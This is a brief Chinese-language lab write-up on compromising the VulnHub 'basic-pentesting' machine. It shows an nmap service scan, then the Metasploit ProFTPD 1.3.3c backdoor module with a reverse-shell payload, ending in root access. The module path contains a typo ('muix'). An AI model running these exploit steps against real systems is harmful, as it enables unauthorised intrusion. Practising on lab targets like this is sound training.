vulnhub靶机之渗透服务版本

靶机获取：https://pan.baidu.com/s/1BD_Fst3u2V9v1IRim4gcBQ 
提取码：7511
一.搭建靶机环境

攻击机ip地址：192.168.1.101

靶机ip地址：192.168.1.109

靶机搭建步骤：

将下载好的basic-pentesting-ova导入Virtualbox

将网卡设置成为桥接模式，攻击机靶机在同一个网段即可二.实战

2.1   使用netdiscover扫描整个局域网查看到靶机ip是192.168.1.109 

使用nmap工具去查看靶机开放的端口即服务版本  nmap -A -sV -p- 192.168.1.109

以上看到21端口的ftp服务的版本号是ProFTPD 1.3.3c  这个服务版本的话是具有漏洞的，我们使用msf这个工具进行渗透一波

3.1  msfconsole开启工具3.2  筛选ProFTPD 1.3.3c服务版本3.3  调用模块use exploit/muix/ftp/proftpd_133c_backdoor

3.4  设置目标靶机的IP地址：set rhosts 192.168.1.109

3.5  设置反向连接   set payload cmd/unix/reverse

3.6   查看一下配置  show options

我们还需要设置一个本地的监听地址（kali攻击机的IP）

所有配置设置完成，输入run开始跑

跑完之后已经是ROOT的权限了，本次靶机的渗透也就到此结束啦！